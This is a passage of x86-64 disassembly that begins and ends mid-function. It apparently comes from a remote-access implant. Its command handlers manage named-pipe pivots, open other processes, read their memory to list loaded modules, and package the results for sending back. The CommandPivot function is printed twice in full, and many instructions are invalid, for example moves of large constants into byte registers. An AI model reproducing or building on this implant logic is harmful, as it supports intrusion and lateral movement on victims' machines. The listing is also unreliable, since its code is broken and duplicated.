14000cb68mov rdx, [rax+rdi]
14000cb6ccall PackageAddWString
14000cb71mov rax, [rsp+120]
14000cb76mov rcx, [rsp+88]
14000cb7bmov rdx, [rax+rdi+40]
14000cb80call PackageAddWString
14000cb85mov rax, [rsp+120]
14000cb8amov rcx, [rsp+88]
14000cb8fmov rdx, [rax+rdi+16]
14000cb94call PackageAddWString
14000cb99mov rax, [rsp+120]
14000cb9emov rcx, [rsp+88]
14000cba3mov edx, [rax+rdi+24]
14000cba7call PackageAddInt32
14000cbacjmp 0x14000cb14
14000cbb1
14000cbb1loc_14000cbb1:
14000cbb1call [r13+1836]
14000cbb8xor r15l, r15l
14000cbbbmov [rsp+120], r15
14000cbc0cmp ebp, 234
14000cbc6je 0x14000caca
14000cbccjmp 0x14000cf5b
14000cbd1
14000cbd1loc_14000cbd1:
14000cbd1mov r9l, eax
14000cbd4mov r8l, 2262
14000cbdamov rdx, rsi
14000cbddlea rcx, [rip+0x19bb1]
14000cbe4call printf
14000cbe9jmp 0x14000cf5b
14000cbeelea r9, [rip+0x19bbc]
14000cbf5mov rdx, rsi
14000cbf8mov rcx, rdi
14000cbfbxor ebx, ebx
14000cbfdmov r8l, 2271
14000cc03xor r13l, r13l
14000cc06call printf
14000cc0bxor r11l, r11l
14000cc0emov rcx, rbp
14000cc11lea rdx, [rsp+116]
14000cc16mov [rsp+120], r11
14000cc1bmov [rsp+108], ebx
14000cc1fmov [rsp+112], ebx
14000cc23mov [rsp+116], ebx
14000cc27call ParserGetWString
14000cc2cmov rcx, [rsp+88]
14000cc31mov rbp, rax
14000cc34mov rdx, rax
14000cc37call PackageAddWString
14000cc3cmov r9, rbp
14000cc3fmov rdx, rsi
14000cc42mov r8l, 2283
14000cc48lea rcx, [rip+0x19b7f]
14000cc4fcall printf
14000cc54lea rax, [rsp+112]
14000cc59or r9l, -1
14000cc5dmov r12, [rip+0x1f70c]
14000cc64mov [rsp+40], rax
14000cc69lea rax, [rsp+108]
14000cc6elea r8, [rsp+120]
14000cc73mov rcx, rbp
14000cc76mov [rsp+48], r13
14000cc7bmov edx, 1
14000cc80mov [rsp+32], rax
14000cc85call [r12+1804]
14000cc8dtest eax, eax
14000cc8fje 0x14000cc9c
14000cc91cmp eax, 234
14000cc96jne 0x14000cf5b
14000cc9c
14000cc9cloc_14000cc9c:
14000cc9cmov rdx, rsi
14000cc9flea r9, [rip+0x19b4b]
14000cca6mov rcx, rdi
14000cca9xor esi, esi
14000ccabmov r8l, 2288
14000ccb1call printf
14000ccb6cmp [rsp+120], 0
14000ccbcje 0x14000cf5b
14000ccc2
14000ccc2loc_14000ccc2:
14000ccc2mov rcx, [rsp+120]
14000ccc7cmp esi, [rsp+108]
14000cccbjae 0x14000ccf9
14000cccdmov edi, esi
14000cccfinc esi
14000ccd1shl rdi, 4
14000ccd5mov rdx, [rcx+rdi]
14000ccd9mov rcx, [rsp+88]
14000ccdecall PackageAddWString
14000cce3mov rax, [rsp+120]
14000cce8mov rcx, [rsp+88]
14000ccedmov rdx, [rax+rdi+8]
14000ccf2call PackageAddWString
14000ccf7jmp 0x14000ccc2
14000ccf9
14000ccf9loc_14000ccf9:
14000ccf9call [r12+1836]
14000cd01jmp 0x14000cf5b
14000cd06mov rcx, rdi
14000cd09lea r9, [rip+0x19afe]
14000cd10mov r8l, 2307
14000cd16mov rdx, rsi
14000cd19call printf
14000cd1exor r9l, r9l
14000cd21xor r8l, r8l
14000cd24mov rcx, rbp
14000cd27lea rdx, [rsp+116]
14000cd2cmov [rsp+120], r8
14000cd31mov [rsp+108], r9l
14000cd36mov [rsp+112], r9l
14000cd3bmov [rsp+116], r9l
14000cd40call ParserGetWString
14000cd45mov rcx, [rsp+88]
14000cd4amov rdx, rax
14000cd4dmov rbp, rax
14000cd50call PackageAddWString
14000cd55lea rax, [rsp+112]
14000cd5axor r10l, r10l
14000cd5dmov rcx, rbp
14000cd60mov rdi, [rip+0x1f609]
14000cd67mov [rsp+40], rax
14000cd6clea rax, [rsp+108]
14000cd71or r9l, -1
14000cd75mov [rsp+48], r10
14000cd7alea r8, [rsp+120]
14000cd7fmov edx, 1
14000cd84mov [rsp+32], rax
14000cd89call [rdi+1812]
14000cd8ftest eax, eax
14000cd91je 0x14000cd9a
14000cd93cmp eax, 234
14000cd98jne 0x14000cdef
14000cd9a
14000cd9aloc_14000cd9a:
14000cd9axor esi, esi
14000cd9ccmp [rsp+120], 0
14000cda2jne 0x14000cdb8
14000cda4
14000cda4loc_14000cda4:
14000cda4mov rcx, [rsp+120]
14000cda9call [rdi+1836]
14000cdafxor ecx, ecx
14000cdb1mov [rsp+120], rcx
14000cdb6jmp 0x14000ce27
14000cdb8
14000cdb8loc_14000cdb8:
14000cdb8mov rax, [rsp+120]
14000cdbdcmp esi, [rsp+108]
14000cdc1jae 0x14000cda4
14000cdc3mov ebp, esi
14000cdc5mov rcx, [rsp+88]
14000cdcainc esi
14000cdccshl rbp, 4
14000cdd0mov rdx, [rax+rbp]
14000cdd4call PackageAddWString
14000cdd9mov rax, [rsp+120]
14000cddemov rcx, [rsp+88]
14000cde3mov rdx, [rax+rbp+8]
14000cde8call PackageAddWString
14000cdedjmp 0x14000cdb8
14000cdef
14000cdefloc_14000cdef:
14000cdefmov rdx, [rdi+2230]
14000cdf6lea rcx, [rip+0x19a29]
14000cdfdmov r8l, 2336
14000ce03mov r9l, [rdx+104]
14000ce07mov [rsp+32], eax
14000ce0bmov rdx, rsi
14000ce0ecall printf
14000ce13mov rax, [rdi+2230]
14000ce1amov ecx, 1
14000ce1fmov edx, [rax+104]
14000ce22call PackageTransmitError
14000ce27
14000ce27loc_14000ce27:
14000ce27mov rcx, [rsp+120]
14000ce2cjmp 0x14000cefc
14000ce31lea r9, [rip+0x19a1e]
14000ce38mov r8l, 2351
14000ce3emov rcx, rdi
14000ce41mov rdx, rsi
14000ce44call printf
14000ce49xor edx, edx
14000ce4bxor eax, eax
14000ce4dmov rcx, rbp
14000ce50mov [rsp+104], edx
14000ce54mov [rsp+108], edx
14000ce58mov [rsp+112], edx
14000ce5cmov [rsp+116], edx
14000ce60lea rdx, [rsp+116]
14000ce65mov [rsp+120], rax
14000ce6acall ParserGetWString
14000ce6fmov rcx, [rsp+88]
14000ce74mov rdx, rax
14000ce77mov rbp, rax
14000ce7acall PackageAddWString
14000ce7flea rax, [rsp+112]
14000ce84xor r8l, r8l
14000ce87xor edx, edx
14000ce89mov [rsp+56], rax
14000ce8emov rdi, [rip+0x1f4db]
14000ce95lea rax, [rsp+108]
14000ce9amov rcx, rbp
14000ce9dmov [rsp+48], rax
14000cea2lea rax, [rsp+104]
14000cea7lea r9, [rsp+120]
14000ceacmov [rsp+40], rax
14000ceb1mov [rsp+32], -1
14000ceb9call [rdi+1820]
14000cebftest eax, eax
14000cec1je 0x14000ceca
14000cec3cmp eax, 234
14000cec8jne 0x14000cf09
14000ceca
14000cecaloc_14000ceca:
14000cecaxor esi, esi
14000cecc
14000ceccloc_14000cecc:
14000ceccmov rcx, [rsp+120]
14000ced1cmp esi, [rsp+104]
14000ced5jae 0x14000cefc
14000ced7mov eax, esi
14000ced9mov rdx, [rcx+8*rax]
14000ceddtest rdx, rdx
14000cee0je 0x14000cef8
14000cee2mov rcx, [rsp+88]
14000cee7call PackageAddWString
14000ceecmov rcx, [rsp+88]
14000cef1xor edx, edx
14000cef3call PackageAddInt32
14000cef8
14000cef8loc_14000cef8:
14000cef8inc esi
14000cefajmp 0x14000cecc
14000cefc
14000cefcloc_14000cefc:
14000cefctest rcx, rcx
14000ceffje 0x14000cf5b
14000cf01call [rdi+1836]
14000cf07jmp 0x14000cf5b
14000cf09
14000cf09loc_14000cf09:
14000cf09mov rdx, [rdi+2230]
14000cf10mov r8l, 2384
14000cf16lea rcx, [rip+0x19909]
14000cf1dmov r9l, [rdx+104]
14000cf21mov [rsp+32], eax
14000cf25mov rdx, rsi
14000cf28call printf
14000cf2dmov rax, [rdi+2230]
14000cf34mov ecx, 1
14000cf39mov edx, [rax+104]
14000cf3ccall PackageTransmitError
14000cf41jmp 0x14000cf5b
14000cf43
14000cf43loc_14000cf43:
14000cf43lea r9, [rip+0x19923]
14000cf4amov r8l, 2393
14000cf50
14000cf50loc_14000cf50:
14000cf50mov rdx, rsi
14000cf53mov rcx, rdi
14000cf56call printf
14000cf5b
14000cf5bloc_14000cf5b:
14000cf5bmov rcx, [rsp+88]
14000cf60add rsp, 136
14000cf67pop rbx
14000cf68pop rsi
14000cf69pop rdi
14000cf6apop rbp
14000cf6bpop r12
14000cf6dpop r13
14000cf6fpop r14
14000cf71pop r15
14000cf73jmp 0x140018b90
14000c640
14000cf78
14000cf78 // align 0x10
14000cf78 // align 0x10
14000cf80
14000cf80CommandPivot:
14000cf80push rbp
14000cf81mov rbp, rsp
14000cf84push r14
14000cf86push r13
14000cf88mov r13, rcx
14000cf8bmov ecx, 2520
14000cf90push r12
14000cf92lea r12, [rip+0x1906f]
14000cf99push rdi
14000cf9apush rsi
14000cf9bpush rbx
14000cf9clea rbx, [rip+0x202fd]
14000cfa3and rsp, -16
14000cfa7sub rsp, 96
14000cfabcall PackageCreate
14000cfb0mov rcx, r13
14000cfb3mov rsi, rax
14000cfb6call ParserGetInt32
14000cfbbmov rcx, rsi
14000cfbemov edi, eax
14000cfc0mov edx, eax
14000cfc2call PackageAddInt32
14000cfc7mov r9l, edi
14000cfcamov rdx, rbx
14000cfcdmov r8l, 2408
14000cfd3lea rcx, [rip+0x1a06e]
14000cfdacall printf
14000cfdfcmp edi, 11
14000cfe2je 0x14000d1da
14000cfe8jg 0x14000cffd
14000cfeacmp edi, 1
14000cfedje 0x14000d00b
14000cfefcmp edi, 10
14000cff2je 0x14000d07a
14000cff8jmp 0x14000d28a
14000cffd
14000cffdloc_14000cffd:
14000cffdcmp edi, 12
14000d000je 0x14000d204
14000d006jmp 0x14000d28a
14000d00b
14000d00bloc_14000d00b:
14000d00blea r9, [rip+0x1a053]
14000d012mov r8l, 2414
14000d018mov rdx, rbx
14000d01bmov rcx, r12
14000d01ecall printf
14000d023mov rax, [rip+0x1f346]
14000d02alea r13, [rip+0x1a045]
14000d031mov rdi, [rax+2294]
14000d038
14000d038loc_14000d038:
14000d038test rdi, rdi
14000d03bje 0x14000d28a
14000d041mov rax, [rdi+8]
14000d045mov r8l, 2421
14000d04bmov rdx, rbx
14000d04emov rcx, r13
14000d051mov [rsp+32], rax
14000d056mov r9l, [rdi]
14000d059call printf
14000d05emov edx, [rdi]
14000d060mov rcx, rsi
14000d063call PackageAddInt32
14000d068mov rdx, [rdi+8]
14000d06cmov rcx, rsi
14000d06fcall PackageAddWString
14000d074mov rdi, [rdi+32]
14000d078jmp 0x14000d038
14000d07a
14000d07aloc_14000d07a:
14000d07alea r9, [rip+0x1a032]
14000d081mov r8l, 2436
14000d087mov rdx, rbx
14000d08amov rcx, r12
14000d08dcall printf
14000d092xor r8l, r8l
14000d095xor ecx, ecx
14000d097lea rdx, [rsp+88]
14000d09cmov [rsp+80], r8
14000d0a1mov [rsp+88], r8
14000d0a6mov [rsp+68], ecx
14000d0aamov rcx, r13
14000d0admov [rsp+72], r8
14000d0b2call ParserGetBytes
14000d0b7lea rdx, [rsp+72]
14000d0bclea rcx, [rsp+48]
14000d0c1mov [rsp+80], rax
14000d0c6movups x0, [rsp+80]
14000d0cblea r8, [rsp+68]
14000d0d0movups [rsp+48], x0
14000d0d5call PivotAdd
14000d0damov r13, [rip+0x1f28f]
14000d0e1test eax, eax
14000d0e3je 0x14000d1ac
14000d0e9mov eax, [rsp+68]
14000d0edmov r9, [rsp+72]
14000d0f2mov r8l, 2446
14000d0f8mov rdx, rbx
14000d0fblea rcx, [rip+0x19fc9]
14000d102mov [rsp+32], eax
14000d106call printf
14000d10bmov rcx, rsi
14000d10emov edx, 1
14000d113call PackageAddInt32
14000d118mov r8l, [rsp+68]
14000d11dmov rdx, [rsp+72]
14000d122mov rcx, rsi
14000d125call PackageAddBytes
14000d12amov ecx, [rsp+68]
14000d12emov rdi, [rsp+72]
14000d133xor eax, eax
14000d135rep stosb [rdi], al
14000d137mov rcx, [rsp+72]
14000d13ccall [r13+940]
14000d143xor edx, edx
14000d145mov r8l, 2458
14000d14bmov rcx, r12
14000d14emov [rsp+72], rdx
14000d153lea r9, [rip+0x19fa0]
14000d15amov rdx, rbx
14000d15dmov rdi, [r13+2294]
14000d164call printf
14000d169lea r13, [rip+0x19f9a]
14000d170
14000d170loc_14000d170:
14000d170test rdi, rdi
14000d173je 0x14000d18f
14000d175mov r9l, [rdi]
14000d178mov r8l, 2462
14000d17emov rdx, rbx
14000d181mov rcx, r13
14000d184call printf
14000d189mov rdi, [rdi+32]
14000d18djmp 0x14000d170
14000d18f
14000d18floc_14000d18f:
14000d18flea r9, [rip+0x19f88]
14000d196mov r8l, 2467
14000d19cmov rdx, rbx
14000d19fmov rcx, r12
14000d1a2call printf
14000d1a7jmp 0x14000d28a
14000d1ac
14000d1acloc_14000d1ac:
14000d1aclea r9, [rip+0x19f6d]
14000d1b3mov r8l, 2472
14000d1b9mov rdx, rbx
14000d1bcmov rcx, r12
14000d1bfcall printf
14000d1c4xor edx, edx
14000d1c6mov rcx, rsi
14000d1c9call PackageAddInt32
14000d1cemov rax, [r13+2230]
14000d1d5mov edx, [rax+104]
14000d1d8jmp 0x14000d1f7
14000d1da
14000d1daloc_14000d1da:
14000d1damov rcx, r13
14000d1ddcall ParserGetInt32
14000d1e2mov ecx, eax
14000d1e4mov edi, eax
14000d1e6call PivotRemove
14000d1ebmov rcx, rsi
14000d1eemov edx, eax
14000d1f0call PackageAddInt32
14000d1f5mov edx, edi
14000d1f7
14000d1f7loc_14000d1f7:
14000d1f7mov rcx, rsi
14000d1facall PackageAddInt32
14000d1ffjmp 0x14000d28a
14000d204
14000d204loc_14000d204:
14000d204lea r9, [rip+0x19f27]
14000d20bmov r8l, 2495
14000d211mov rdx, rbx
14000d214mov rcx, r12
14000d217call printf
14000d21cmov rcx, r13
14000d21fcall ParserGetInt32
14000d224mov r14, [rip+0x1f145]
14000d22blea rdx, [rsp+88]
14000d230mov rcx, r13
14000d233mov esi, eax
14000d235xor eax, eax
14000d237mov [rsp+80], rax
14000d23cmov rdi, [r14+2294]
14000d243mov [rsp+88], rax
14000d248call ParserGetBytes
14000d24dmov [rsp+80], rax
14000d252test rax, rax
14000d255je 0x14000d25e
14000d257cmp [rsp+88], 0
14000d25cjne 0x14000d283
14000d25e
14000d25eloc_14000d25e:
14000d25elea r9, [rip+0x19ee5]
14000d265mov r8l, 2505
14000d26bmov rdx, rbx
14000d26emov rcx, r12
14000d271call printf
14000d276jmp 0x14000d330
14000d27b
14000d27bloc_14000d27b:
14000d27bcmp [rdi], esi
14000d27dje 0x14000d2d2
14000d27fmov rdi, [rdi+32]
14000d283
14000d283loc_14000d283:
14000d283test rdi, rdi
14000d286jne 0x14000d27b
14000d288jmp 0x14000d2b8
14000d28a
14000d28aloc_14000d28a:
14000d28amov rcx, r12
14000d28dmov rdx, rbx
14000d290lea r9, [rip+0x19f26]
14000d297mov r8l, 2542
14000d29dcall printf
14000d2a2lea rsp, [rbp-48]
14000d2a6mov rcx, rsi
14000d2a9pop rbx
14000d2aapop rsi
14000d2abpop rdi
14000d2acpop r12
14000d2aepop r13
14000d2b0pop r14
14000d2b2pop rbp
14000d2b3jmp 0x140018b90
14000d2b8
14000d2b8loc_14000d2b8:
14000d2b8mov r9l, esi
14000d2bbmov r8l, 2531
14000d2c1mov rdx, rbx
14000d2c4lea rcx, [rip+0x19f02]
14000d2cbcall printf
14000d2d0jmp 0x14000d330
14000d2d2
14000d2d2loc_14000d2d2:
14000d2d2mov rcx, [rdi+24]
14000d2d6lea rdx, [rsp+80]
14000d2dbcall PipeWrite
14000d2e0test eax, eax
14000d2e2jne 0x14000d312
14000d2e4mov rdx, rbx
14000d2e7mov rcx, r12
14000d2ealea r9, [rip+0x19e78]
14000d2f1mov r8l, 2526
14000d2f7call printf
14000d2fcmov rax, [r14+2230]
14000d303mov ecx, 1
14000d308mov edx, [rax+104]
14000d30bcall PackageTransmitError
14000d310jmp 0x14000d330
14000d312
14000d312loc_14000d312:
14000d312mov [rsp+32], esi
14000d316mov r9l, [rsp+88]
14000d31bmov r8l, 2530
14000d321mov rdx, rbx
14000d324lea rcx, [rip+0x19e4f]
14000d32bcall printf
14000d330
14000d330loc_14000d330:
14000d330lea rsp, [rbp-48]
14000d334pop rbx
14000d335pop rsi
14000d336pop rdi
14000d337pop r12
14000d339pop r13
14000d33bpop r14
14000d33dpop rbp
14000d33eret
14000cf80
14000cf80CommandPivot:
14000cf80push rbp
14000cf81mov rbp, rsp
14000cf84push r14
14000cf86push r13
14000cf88mov r13, rcx
14000cf8bmov ecx, 2520
14000cf90push r12
14000cf92lea r12, [rip+0x1906f]
14000cf99push rdi
14000cf9apush rsi
14000cf9bpush rbx
14000cf9clea rbx, [rip+0x202fd]
14000cfa3and rsp, -16
14000cfa7sub rsp, 96
14000cfabcall PackageCreate
14000cfb0mov rcx, r13
14000cfb3mov rsi, rax
14000cfb6call ParserGetInt32
14000cfbbmov rcx, rsi
14000cfbemov edi, eax
14000cfc0mov edx, eax
14000cfc2call PackageAddInt32
14000cfc7mov r9l, edi
14000cfcamov rdx, rbx
14000cfcdmov r8l, 2408
14000cfd3lea rcx, [rip+0x1a06e]
14000cfdacall printf
14000cfdfcmp edi, 11
14000cfe2je 0x14000d1da
14000cfe8jg 0x14000cffd
14000cfeacmp edi, 1
14000cfedje 0x14000d00b
14000cfefcmp edi, 10
14000cff2je 0x14000d07a
14000cff8jmp 0x14000d28a
14000cffd
14000cffdloc_14000cffd:
14000cffdcmp edi, 12
14000d000je 0x14000d204
14000d006jmp 0x14000d28a
14000d00b
14000d00bloc_14000d00b:
14000d00blea r9, [rip+0x1a053]
14000d012mov r8l, 2414
14000d018mov rdx, rbx
14000d01bmov rcx, r12
14000d01ecall printf
14000d023mov rax, [rip+0x1f346]
14000d02alea r13, [rip+0x1a045]
14000d031mov rdi, [rax+2294]
14000d038
14000d038loc_14000d038:
14000d038test rdi, rdi
14000d03bje 0x14000d28a
14000d041mov rax, [rdi+8]
14000d045mov r8l, 2421
14000d04bmov rdx, rbx
14000d04emov rcx, r13
14000d051mov [rsp+32], rax
14000d056mov r9l, [rdi]
14000d059call printf
14000d05emov edx, [rdi]
14000d060mov rcx, rsi
14000d063call PackageAddInt32
14000d068mov rdx, [rdi+8]
14000d06cmov rcx, rsi
14000d06fcall PackageAddWString
14000d074mov rdi, [rdi+32]
14000d078jmp 0x14000d038
14000d07a
14000d07aloc_14000d07a:
14000d07alea r9, [rip+0x1a032]
14000d081mov r8l, 2436
14000d087mov rdx, rbx
14000d08amov rcx, r12
14000d08dcall printf
14000d092xor r8l, r8l
14000d095xor ecx, ecx
14000d097lea rdx, [rsp+88]
14000d09cmov [rsp+80], r8
14000d0a1mov [rsp+88], r8
14000d0a6mov [rsp+68], ecx
14000d0aamov rcx, r13
14000d0admov [rsp+72], r8
14000d0b2call ParserGetBytes
14000d0b7lea rdx, [rsp+72]
14000d0bclea rcx, [rsp+48]
14000d0c1mov [rsp+80], rax
14000d0c6movups x0, [rsp+80]
14000d0cblea r8, [rsp+68]
14000d0d0movups [rsp+48], x0
14000d0d5call PivotAdd
14000d0damov r13, [rip+0x1f28f]
14000d0e1test eax, eax
14000d0e3je 0x14000d1ac
14000d0e9mov eax, [rsp+68]
14000d0edmov r9, [rsp+72]
14000d0f2mov r8l, 2446
14000d0f8mov rdx, rbx
14000d0fblea rcx, [rip+0x19fc9]
14000d102mov [rsp+32], eax
14000d106call printf
14000d10bmov rcx, rsi
14000d10emov edx, 1
14000d113call PackageAddInt32
14000d118mov r8l, [rsp+68]
14000d11dmov rdx, [rsp+72]
14000d122mov rcx, rsi
14000d125call PackageAddBytes
14000d12amov ecx, [rsp+68]
14000d12emov rdi, [rsp+72]
14000d133xor eax, eax
14000d135rep stosb [rdi], al
14000d137mov rcx, [rsp+72]
14000d13ccall [r13+940]
14000d143xor edx, edx
14000d145mov r8l, 2458
14000d14bmov rcx, r12
14000d14emov [rsp+72], rdx
14000d153lea r9, [rip+0x19fa0]
14000d15amov rdx, rbx
14000d15dmov rdi, [r13+2294]
14000d164call printf
14000d169lea r13, [rip+0x19f9a]
14000d170
14000d170loc_14000d170:
14000d170test rdi, rdi
14000d173je 0x14000d18f
14000d175mov r9l, [rdi]
14000d178mov r8l, 2462
14000d17emov rdx, rbx
14000d181mov rcx, r13
14000d184call printf
14000d189mov rdi, [rdi+32]
14000d18djmp 0x14000d170
14000d18f
14000d18floc_14000d18f:
14000d18flea r9, [rip+0x19f88]
14000d196mov r8l, 2467
14000d19cmov rdx, rbx
14000d19fmov rcx, r12
14000d1a2call printf
14000d1a7jmp 0x14000d28a
14000d1ac
14000d1acloc_14000d1ac:
14000d1aclea r9, [rip+0x19f6d]
14000d1b3mov r8l, 2472
14000d1b9mov rdx, rbx
14000d1bcmov rcx, r12
14000d1bfcall printf
14000d1c4xor edx, edx
14000d1c6mov rcx, rsi
14000d1c9call PackageAddInt32
14000d1cemov rax, [r13+2230]
14000d1d5mov edx, [rax+104]
14000d1d8jmp 0x14000d1f7
14000d1da
14000d1daloc_14000d1da:
14000d1damov rcx, r13
14000d1ddcall ParserGetInt32
14000d1e2mov ecx, eax
14000d1e4mov edi, eax
14000d1e6call PivotRemove
14000d1ebmov rcx, rsi
14000d1eemov edx, eax
14000d1f0call PackageAddInt32
14000d1f5mov edx, edi
14000d1f7
14000d1f7loc_14000d1f7:
14000d1f7mov rcx, rsi
14000d1facall PackageAddInt32
14000d1ffjmp 0x14000d28a
14000d204
14000d204loc_14000d204:
14000d204lea r9, [rip+0x19f27]
14000d20bmov r8l, 2495
14000d211mov rdx, rbx
14000d214mov rcx, r12
14000d217call printf
14000d21cmov rcx, r13
14000d21fcall ParserGetInt32
14000d224mov r14, [rip+0x1f145]
14000d22blea rdx, [rsp+88]
14000d230mov rcx, r13
14000d233mov esi, eax
14000d235xor eax, eax
14000d237mov [rsp+80], rax
14000d23cmov rdi, [r14+2294]
14000d243mov [rsp+88], rax
14000d248call ParserGetBytes
14000d24dmov [rsp+80], rax
14000d252test rax, rax
14000d255je 0x14000d25e
14000d257cmp [rsp+88], 0
14000d25cjne 0x14000d283
14000d25e
14000d25eloc_14000d25e:
14000d25elea r9, [rip+0x19ee5]
14000d265mov r8l, 2505
14000d26bmov rdx, rbx
14000d26emov rcx, r12
14000d271call printf
14000d276jmp 0x14000d330
14000d27b
14000d27bloc_14000d27b:
14000d27bcmp [rdi], esi
14000d27dje 0x14000d2d2
14000d27fmov rdi, [rdi+32]
14000d283
14000d283loc_14000d283:
14000d283test rdi, rdi
14000d286jne 0x14000d27b
14000d288jmp 0x14000d2b8
14000d28a
14000d28aloc_14000d28a:
14000d28amov rcx, r12
14000d28dmov rdx, rbx
14000d290lea r9, [rip+0x19f26]
14000d297mov r8l, 2542
14000d29dcall printf
14000d2a2lea rsp, [rbp-48]
14000d2a6mov rcx, rsi
14000d2a9pop rbx
14000d2aapop rsi
14000d2abpop rdi
14000d2acpop r12
14000d2aepop r13
14000d2b0pop r14
14000d2b2pop rbp
14000d2b3jmp 0x140018b90
14000d2b8
14000d2b8loc_14000d2b8:
14000d2b8mov r9l, esi
14000d2bbmov r8l, 2531
14000d2c1mov rdx, rbx
14000d2c4lea rcx, [rip+0x19f02]
14000d2cbcall printf
14000d2d0jmp 0x14000d330
14000d2d2
14000d2d2loc_14000d2d2:
14000d2d2mov rcx, [rdi+24]
14000d2d6lea rdx, [rsp+80]
14000d2dbcall PipeWrite
14000d2e0test eax, eax
14000d2e2jne 0x14000d312
14000d2e4mov rdx, rbx
14000d2e7mov rcx, r12
14000d2ealea r9, [rip+0x19e78]
14000d2f1mov r8l, 2526
14000d2f7call printf
14000d2fcmov rax, [r14+2230]
14000d303mov ecx, 1
14000d308mov edx, [rax+104]
14000d30bcall PackageTransmitError
14000d310jmp 0x14000d330
14000d312
14000d312loc_14000d312:
14000d312mov [rsp+32], esi
14000d316mov r9l, [rsp+88]
14000d31bmov r8l, 2530
14000d321mov rdx, rbx
14000d324lea rcx, [rip+0x19e4f]
14000d32bcall printf
14000d330
14000d330loc_14000d330:
14000d330lea rsp, [rbp-48]
14000d334pop rbx
14000d335pop rsi
14000d336pop rdi
14000d337pop r12
14000d339pop r13
14000d33bpop r14
14000d33dpop rbp
14000d33eret
14000cf80
14000d33f
14000d33f // align 0x10
14000d33f // align 0x10
14000d340
14000d340CommandProc:
14000d340push rbp
14000d341mov rbp, rsp
14000d344push r15
14000d346push r14
14000d348push r13
14000d34apush r12
14000d34cpush rdi
14000d34dpush rsi
14000d34epush rbx
14000d34fmov rbx, rcx
14000d352and rsp, -16
14000d356sub rsp, 1168
14000d35dcall ParserGetInt32
14000d362mov ecx, 4112
14000d367mov esi, eax
14000d369call PackageCreate
14000d36emovsx edx, si
14000d371sub esi, 2
14000d374mov rcx, rax
14000d377mov [rsp+72], rax
14000d37ccall PackageAddInt32
14000d381cmp si, 5
14000d385ja 0x14000dc9b
14000d38blea rdx, [rip+0x1908e]
14000d392movzx esi, si
14000d395movsxd rax, [rdx+4*rsi]
14000d399add rax, rdx
14000d39cjmp rax
14000d39elea rcx, [rip+0x18c63]
14000d3a5lea r9, [rip+0x18ee0]
14000d3acmov r8l, 278
14000d3b2lea rdx, [rip+0x1f847]
14000d3b9lea rdi, [rsp+112]
14000d3becall printf
14000d3c3mov esi, [rbx+20]
14000d3c6mov ecx, 12
14000d3cbxor eax, eax
14000d3cdrep stosd [rdi], eax
14000d3cftest esi, esi
14000d3d1je 0x14000d411
14000d3d3mov rcx, rbx
14000d3d6call ParserGetInt32
14000d3dbmov edx, 0x1fffff
14000d3e0mov ecx, eax
14000d3e2mov esi, eax
14000d3e4call ProcessOpen
14000d3e9mov rbx, rax
14000d3ectest rax, rax
14000d3efje 0x14000d415
14000d3f1mov rax, [rip+0x1ef78]
14000d3f8mov ecx, 1
14000d3fdmov rax, [rax+2230]
14000d404mov edx, [rax+104]
14000d407call PackageTransmitError
14000d40cjmp 0x14000dc9b
14000d411
14000d411loc_14000d411:
14000d411or rbx, -1
14000d415
14000d415loc_14000d415:
14000d415xor ecx, ecx
14000d417xor edx, edx
14000d419lea r8, [rsp+112]
14000d41emov r9l, 48
14000d424mov [rsp+32], rcx
14000d429mov rcx, rbx
14000d42ccall SysNtQueryInformationProcess
14000d431test eax, eax
14000d433js 0x14000d5c6
14000d439xor eax, eax
14000d43bmov ecx, 56
14000d440lea r14, [rsp+104]
14000d445xor edx, edx
14000d447mov [rsp+88], rax
14000d44clea rdi, [rsp+160]
14000d454lea r15, [rsp+160]
14000d45cmov [rsp+96], rax
14000d461lea r13, [rsp+648]
14000d469mov [rsp+104], rax
14000d46exor eax, eax
14000d470rep stosd [rdi], eax
14000d472lea rdi, [rsp+648]
14000d47amov ecx, 130
14000d47fmov [rsp+384], rdx
14000d487rep stosd [rdi], eax
14000d489lea rdi, [rsp+400]
14000d491mov ecx, 61
14000d496mov [rsp+392], rdx
14000d49erep stosd [rdi], eax
14000d4a0mov rcx, [rsp+72]
14000d4a5mov edx, esi
14000d4a7call PackageAddInt32
14000d4acmov rax, [rsp+120]
14000d4b1mov [rsp+32], r14
14000d4b6mov rcx, rbx
14000d4b9mov r9l, 8
14000d4bflea r8, [rsp+88]
14000d4c4lea rdx, [rax+24]
14000d4c8call SysNtReadVirtualMemory
14000d4cdtest eax, eax
14000d4cfjs 0x14000d5c6
14000d4d5mov rax, [rsp+88]
14000d4damov r9l, 8
14000d4e0lea r8, [rsp+96]
14000d4e5mov rcx, rbx
14000d4e8lea r12, [rax+32]
14000d4ecxor eax, eax
14000d4eemov [rsp+104], rax
14000d4f3mov rdx, r12
14000d4f6mov [rsp+32], rax
14000d4fbcall SysNtReadVirtualMemory
14000d500test eax, eax
14000d502js 0x14000d5c6
14000d508
14000d508loc_14000d508:
14000d508mov rdx, [rsp+96]
14000d50dcmp rdx, r12
14000d510je 0x14000d5c6
14000d516xor eax, eax
14000d518sub rdx, 16
14000d51cmov r9l, 224
14000d522mov r8, r15
14000d525mov [rsp+32], rax
14000d52amov rcx, rbx
14000d52dcall SysNtReadVirtualMemory
14000d532test eax, eax
14000d534js 0x14000d508
14000d536mov [rsp+32], r14
14000d53bmov rdx, [rsp+240]
14000d543mov r8, r13
14000d546mov rcx, rbx
14000d549movzx r9l, [rsp+232]
14000d552lea rsi, [rsp+384]
14000d55acall SysNtReadVirtualMemory
14000d55fmovzx r8l, [rsp+232]
14000d568test r8w, r8w
14000d56cje 0x14000d59d
14000d56emov rdx, r13
14000d571mov rcx, rsi
14000d574call WCharStringToCharString
14000d579mov rcx, [rsp+72]
14000d57emov rdx, rsi
14000d581mov [rsp+104], rax
14000d586call PackageAddString
14000d58bmov rdx, [rsp+208]
14000d593mov rcx, [rsp+72]
14000d598call PackageAddPtr
14000d59d
14000d59dloc_14000d59d:
14000d59dmov edx, 260
14000d5a2xor eax, eax
14000d5a4mov rdi, r13
14000d5a7mov rcx, rdx
14000d5aarep stosb [rdi], al
14000d5acmov rdi, rsi
14000d5afmov rcx, rdx
14000d5b2rep stosb [rdi], al
14000d5b4mov rax, [rsp+176]
14000d5bcmov [rsp+96], rax
14000d5c1jmp 0x14000d508
14000d5c6
14000d5c6loc_14000d5c6:
14000d5c6or rcx, -1
14000d5catest rbx, rbx
14000d5cdjne 0x14000dc96
14000d5d3jmp 0x14000dc9b
14000d5d8lea r12, [rip+0x1f621]
14000d5dfxor edi, edi
14000d5e1xor esi, esi
14000d5e3xor r13l, r13l
14000d5e6lea r9, [rip+0x18cad]
